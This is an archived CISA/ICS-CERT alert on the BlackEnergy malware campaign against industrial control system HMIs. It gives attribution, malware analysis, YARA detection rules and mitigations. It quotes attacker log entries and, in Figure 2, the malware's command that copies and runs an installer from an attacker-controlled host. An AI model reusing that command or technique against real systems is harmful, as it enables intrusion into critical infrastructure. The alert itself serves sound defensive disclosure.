Ongoing Sophisticated Malware Campaign Compromising ICS (Update E) | CISA

Published: 2021-07-22 · Archived: 2026-04-05 17:20:29 UTC

Description

This alert update is a follow-up to the updated NCCIC/ICS-CERT Alert titled ICS-ALERT-14-281-01D Ongoing Sophisticated Malware Campaign Compromising ICS that was published February 2, 2016, on the ICS-CERT web site.

Updated July 20, 2021: The U.S. Government attributes this activity to Russian nation-state cyber actors. Analysis indicates that this campaign has been ongoing since at least 2011 and was conducted by Russian nation-state cyber actors. For more information on Russian malicious cyber activity, refer to us-cert.cisa.gov/Russia.

SUMMARY

This alert update is a follow-up to the updated NCCIC/ICS-CERT Alert titled ICS-ALERT-14-281-01D Ongoing Sophisticated Malware Campaign Compromising ICS that was published February 2, 2016, on the ICS-CERT web site.

ICS-CERT has identified a sophisticated malware campaign that has compromised numerous industrial control systems (ICSs) environments using a variant of the BlackEnergy malware. Analysis indicates that this campaign has been ongoing since at least 2011. Multiple companies working with ICS-CERT have identified the malware on Internet-connected human-machine interfaces (HMIs).

Recent open-source reports have circulated alleging that a December 23, 2015, power outage in Ukraine was caused by BlackEnergy Malware. ICS-CERT and US-CERT are working with the Ukrainian CERT and our international partners to analyze the malware and can confirm that a BlackEnergy 3 variant was present in the system. Based on the technical artifacts ICS-CERT and US-CERT have been provided, we cannot confirm a causal link between the power outage with the presence of the malware. However, we continue to support CERT-UA on this issue. The YARA signature included with the original posting of this alert has been shown to identify a majority of the samples seen as of this update and continues to be the best method for detecting BlackEnergy infections.

While there are many open source reports of BE3, this is the first opportunity ICS-CERT has been able to provide results of malware analysis. In a departure from the ICS product vulnerabilities used to deliver the BE2 malware, in this case the infection vector appears to have been spear phishing via a malicious Microsoft Office (MS Word) attachment. ICS-CERT and US-CERT analysis and support are ongoing, and additional technical analysis will be made available on the US-CERT Secure Portal.

ICS-CERT originally published information and technical indicators about this campaign in a TLP Amber alert (ICS-ALERT-14-281-01P) that was released to the US-CERT secure portalICS-CERT encourages US asset

owners and operators to join the control systems compartment of the US-CERT secure portal. To request access to the secure portal send your name, email address, and company affiliation to ics-cert@hq.dhs.gov. on October 8, 2014, and updated on December 10, 2014. US critical infrastructure asset owners and operators can request access to this information by emailing ics-cert@hq.dhs.gov✉.

DETAILS

ICS-CERT has determined that users of HMI products from various vendors have been targeted in this campaign, including GE Cimplicity, Advantech/Broadwin WebAccess, and Siemens WinCC. It is currently unknown whether other vendor's products have also been targeted. ICS-CERT is working with the involved vendors to evaluate this activity and also notify their users of the linkages to this campaign.

At this time, ICS-CERT has not identified any attempts to damage, modify, or otherwise disrupt the victim systems' control processes. ICS-CERT has not been able to verify if the intruders expanded access beyond the compromised HMI into the remainder of the underlying control system. However, typical malware deployments have included modules that search out any network-connected file shares and removable media for additional lateral movement within the affected environment. The malware is highly modular and not all functionality is deployed to all victims.

In addition, public reportsSandworm to Blacken: The SCADA Connection, http://blog.trendmicro.com/trendlabs-security-intelligence/sandworm-to-blacken-the-scada-connection/ web site last accessed October 28, 2014. Sandworm Team – Targeting SCADA Systems, http://www.isightpartners.com/tag/sandworm-team/ web site last accessed October 28, 2014. reference a BlackEnergy-based campaign against a variety of overseas targets leveraging vulnerability CVE-2014-4114NVD, http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-4114, web site last accessed October 28, 2014. (affecting Microsoft Windows and Windows Server 2008 and 2012). ICS-CERT has not observed the use of this vulnerability to target control system environments. However, analysis of the technical findings in the two report shows linkages in the shared command and control infrastructure between the campaigns, suggesting both are part of a broader campaign by the same threat actor.

ICS-CERT strongly encourages asset owners and operators to look for signs of compromise within their control systems environments. Any positive or suspected findings should be immediately reported to ICS-CERT for further analysis and correlation.

CIMPLICITY

ICS-CERT analysis has identified the probable initial infection vector for systems running GE's Cimplicity HMI with a direct connection to the Internet. Analysis of victim system artifacts has determined that the actors have been exploiting a vulnerability in GE's Cimplicity HMI product since at least January 2012. The vulnerability, CVE-2014-0751, was published in ICS-CERT advisory ICSA-14-023-01 on January 23, 2014. Guidance for remediation was published to the GE IP portal in December 2013.GE Intelligent Platforms, http://support.ge-ip.com/support/index?page=kbchannel. web site last accessed October 28, 2014. GE has also released a statement about this campaign on the GE security web site.GE, http://www.ge.com/security web site last accessed October 28, 2014.

Using this vulnerability, attackers were able to have the HMI server execute a malicious .cim file [Cimplicity screen file] hosted on an attacker-controlled server.

Date	Request Type	Requestor IP	Screen Served
1/17/2012 7:16	Start	<attackerIP>	//212.124.110.146/testshare/payload.cim
9/9/2013 1:49	Start	<attackerIP>	//46.165.250.32/incoming/devlist.cim
9/10/2014 3:59	Start	<attackerIP>	\\94.185.85.122\public\config.bak

Figure 1. Log entries showing execution of remote .cim file.

ICS-CERT has analyzed two different .cim files used in this campaign: devlist.cim and config.bak. Both files use scripts to ultimately install the BlackEnergy malware.

- devlist.cim: This file uses an embedded script that is executed as soon as the file is opened using the Screen Open event. The obfuscated script downloads the file “newsfeed.xml” from the same remote server, which it saves in the Cimplicity directory using the name <41 character string>.wsf. The name is randomly generated using upper and lower case letters, numbers, and hyphens. The .wsf script is then executed using the Windows command-based script host (cscript.exe). The new script downloads the file “category.xml,” which it saves in the Cimplicity directory using the name “CimWrapPNPS.exe.” CimWrapPNPS.exe is a BlackEnergy installer that deletes itself once the malware is installed.
- config.bak: This file uses a script that is executed when the file is opened using the OnOpenExecCommand event. The script downloads a BlackEnergy installer from a remote server, names it “CimCMSafegs.exe,” copies it into the Cimplicity directory, and then executes it. The CimCMSafegs.exe file is a BlackEnergy installer that deletes itself after the malware is installed.

```
cmd.exe /c “copy \\94[dot]185[dot]85[dot]122\public\default.txt “%CIMPATH%\CimCMSafegs.exe” && start “WOW64” “%CIMPATH”\CimCMSafegs.exe”
```

Figure 2. Script executed by malicious config.bak file.

Analysis suggests that the actors likely used automated tools to discover and compromise vulnerable systems. ICS-CERT is concerned that any companies that have been running Cimplicity since 2012 with their HMI directly connected to the Internet could be infected with BlackEnergy malware. ICS-CERT strongly recommends that companies use the indicators and Yara signature in this alert to check their systems. In addition, we recommend that all Cimplicity users review ICS-CERT advisory ICSA-14-023-01 and apply the recommended mitigations.

WINCC

While ICS-CERT lacks definitive information on how WinCC systems are being compromised by BlackEnergy, there are indications that one of the vulnerabilities fixed with the latest update for SIMATIC WinCC may have been exploited by the BlackEnergy malware.See “Nov 21, 2014 (second publication) Siemens Industrial Security Website: Update on ICS-CERT Alert on malware targeting SIMATIC WinCC” (http://www.industry.siemens.com/topics/global/en/industrial-security/news-alerts/Pages/alerts.aspx) ICS-CERT strongly encourages users of WinCC, TIA Portal, and PCS7 to update their software to the most recent version as soon as possible. Please see Siemens Security Advisory SSA-134508 and and ICS-CERT advisory ICSA-14-329-02D for additional details.

ADVANTECH/BROADWIN WEBACCESS

A number of the victims associated with this campaign were running the Advantech/BroadWin WebAccess software with a direct Internet connection. We have not yet identified the initial infection vector for victims running this platform but believe it is being targeted.

DETECTION

YARA SIGNATURE

ICS-CERT has published instruction for how to use the YARA signature for typical information technology environments. ICS-CERT recommends a phased approach to utilize this YARA signature in an industrial control systems (ICSs) environment. Test the use of the signature in the test/quality assurance/development ICS environment if one exists. If not, deploy the signature against backup or alternate systems in the top end of the ICS environment; this signature will not be usable on the majority of field devices.

--------- Begin Update E Part 1 of 1 --------

ICS-CERT has produced a YARA signature to aid in identifying if the malware files are present on a given system. This signature is provided “as is” and has not been fully tested for all variations or environments. Any positive or suspected findings should be immediately reported to ICS-CERT for further analysis and correlation. The YARA signature is available at:

https://us-cert.gov/sites/default/files/file_attach/ICS-ALERT-14-281-01E.yara

YARA is a pattern-matching tool used to by computer security researchers and companies to help identify malware. You can find usage help and download links on the main YARA page at http://plusvic.github.io/yara/ . For use on a Windows machine, you can download the precompiled binaries at:

https://github.com/plusvic/yara/releases

Look for “Windows binaries can be found here.” For security purposes, please validate the downloaded YARA binaries by comparing the hash of your downloaded binary with the hashes below:

YARA version 3.4.0 32-bit

yara32.exe:

MD5 - 569ba3971c5f2d5d4a25f2528ee3afb6

SHA256 - e9bfb0389c9c1638dfe683acb5a2fe6c407cb650b48efdc9c17f5deaffe5b360

yarac32.exe:

MD5 - 0d9287bd49a1e1887dcfe26330663c25

SHA256 - 9f107dda72f95ad721cf12ab9c5621d8e57160cce7baf3f42cb751f98dfaf3ce

YARA version 3.4.0 64-bit

yara64.exe:

MD5 - 5a10f9e4f959d4dc47c96548804ff3c4

SHA256 - 427b46907aba3f1ce7dd8529605c1f94a65c8b90020f5cd1d76a5fbc7fc39993

yarac64.exe:

MD5 - 1f248ec809cc9ed89646e89a7b97a806

SHA256 - 92d04ea1b02320737bd9e2f40ab6cbf0f9646bf8ed63a5262ed989cd43a852fb

Once downloaded, extract the zip archive to the computer where you need to run the signatures and copy the ICS-CERT YARA rule into the same folder. For a comprehensive search (which will take a number of hours, depending on the system), use the following command:

yara32.exe -r -s ICS-ALERT-14-281-01E.yara C: >> yara_results.txt

For a quicker search, use the following:

(for Windows Vista and later)

yara32.exe -r -s ICS-ALERT-14-281-01E.yara C:\Windows >> yara_results.txt

yara32.exe -r -s ICS-ALERT-14-281-01E.yara C:\Users >> yara_results.txt

(for Windows XP or earlier)

yara32.exe -r -s ICS-ALERT-14-281-01E.yara C:\Windows >> yara_results.txt

yara32.exe -r -s ICS-ALERT-14-281-01E.yara "C:\Documents and Settings" >> yara_results.txt

These commands will create a text file named “Yara_results.txt” in the same folder as the rule and YARA executable. If the search returns hits, you can send this file to ICS-CERT, and ICS-CERT will verify if your system is compromised by BlackEnergy.

This updated YARA signature reflects current ICS-CERT efforts into the new BlackEnergy Malware. Please use caution before implementing this signature in sensitive network environments. The signature may not detect all

versions of BlackEnergy found in the “wild”. If there are any questions or concerns, please contact ICS-CERT for assistance.

```
// detect common properties of the BE2 and BE3 loader
rule BlackEnergy
{
   strings:
      $hc1 = {68 97 04 81 1D 6A 01}
      $hc2 = {68 A8 06 B0 3B 6A 02}
      $hc3 = {68 14 06 F5 33 6A 01}
      $hc4 = {68 AF 02 91 AB 6A 01}
      $hc5 = {68 8A 86 39 56 6A 02}
      $hc6 = {68 19 2B 90 95 6A 01}
      $hc7 = {(68 | B?) 11 05 90 23}
      $hc8 = {(68 | B?) EB 05 4A 2F}
      $hc9 = {(68 | B?) B7 05 57 2A}
   condition:
      2 of ($hc*)
}
// detect BE3 variants that are not caught by the general BlackEnergy rule
rule BlackEnergy3
{
   strings:
      $a1 = "MCSF_Config" ascii
      $a2 = "NTUSER.LOG" ascii
      $a3 = "ldplg" ascii
      $a4 = "unlplg" ascii
      $a5 = "getp" ascii
```

```
        $a6 = "getpd" ascii
        $a7 = "CSTR" ascii
        $a8 = "FONTCACHE.DAT" ascii
    condition:
        4 of them
}
// detect both packed and unpacked variants of the BE2 driver
rule BlackEnergy2_Driver
{
    strings:
        $a1 = {7E 4B 54 1A}
        $a2 = {E0 3C 96 A2}
        $a3 = "IofCompleteRequest" ascii
        $b1 = {31 A1 44 BC}
        $b2 = "IoAttachDeviceToDeviceStack" ascii
        $b3 = "KeInsertQueueDpc" ascii
        $c1 = {A3 41 FD 66}
        $c2 = {61 1E 4E F8}
        $c3 = "PsCreateSystemThread" ascii
    condition:
        all of ($a*) and 3 of ($b*, $c*)
}
// detect BE2 variants, typically plugins or loaders containing plugins
rule BlackEnergy2
{
    strings:
```

```
        $ex1 = "DispatchCommand" ascii
        $ex2 = "DispatchEvent" ascii
        $a1 = {68 A1 B0 5C 72}
        $a2 = {68 6B 43 59 4E}
        $a3 = {68 E6 4B 59 4E}
    condition:
        all of ($ex*) and 3 of ($a*)
}
```

--------- End Update E Part 1 of 1 --------

MITIGATIONS

ICS-CERT has published a TLP Amber version of this alert containing additional information about the malware, plug-ins, and indicators to the secure portal. ICS-CERT strongly encourages asset owners and operators to use these indicators to look for signs of compromise within their control systems environments. Asset owners and operators can request access to this information by emailing ics-cert@hq.dhs.gov✉.

Any positive or suspected findings should be immediately reported to ICS-CERT for further analysis and correlation.

ICS-CERT strongly encourages taking immediate defensive action to secure ICS systems using defense-in-depth principles.CSSP Recommended Practices, https://ics-cert.us-cert.gov/Recommended-Practices, web site last accessed October 28, 2014. Asset owners should not assume that their control systems are deployed securely or that they are not operating with an Internet accessible configuration. Instead, asset owners should thoroughly audit their networks for Internet facing devices, weak authentication methods, and component vulnerabilities. Control systems often have Internet accessible devices installed without the owner’s knowledge, putting those systems at increased risk of attack.

ICS-CERT recommends that users take defensive measures to minimize the risk of exploitation due to this unsecure device configuration of these vulnerabilities. Specifically, users should:

- Minimize network exposure for all control system devices. Control system devices should not directly face the Internet.
- Locate control system networks and devices behind firewalls, and isolate them from the business network.
- If remote access is required, employ secure methods, such as Virtual Private Networks (VPNs), recognizing that VPN is only as secure as the connected devices.
- Remove, disable, or rename any default system accounts wherever possible.
- Apply patches in the ICS environment, when possible to mitigate known vulnerabilities.
- Implement policies requiring the use of strong passwords.

- Monitor the creation of administrator level accounts by third-party vendors.

ICS-CERT reminds organizations to perform proper impact analysis and risk assessment prior to taking defensive measures.

ICS-CERT also provides a recommended practices section for control systems on the ICS-CERT web site (http://ics-cert.us-cert.gov). Several recommended practices are available for reading or download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.

Organizations that observe any suspected malicious activity should follow their established internal procedures and report their findings to ICS-CERT for tracking and correlation against other incidents.

Mitigations
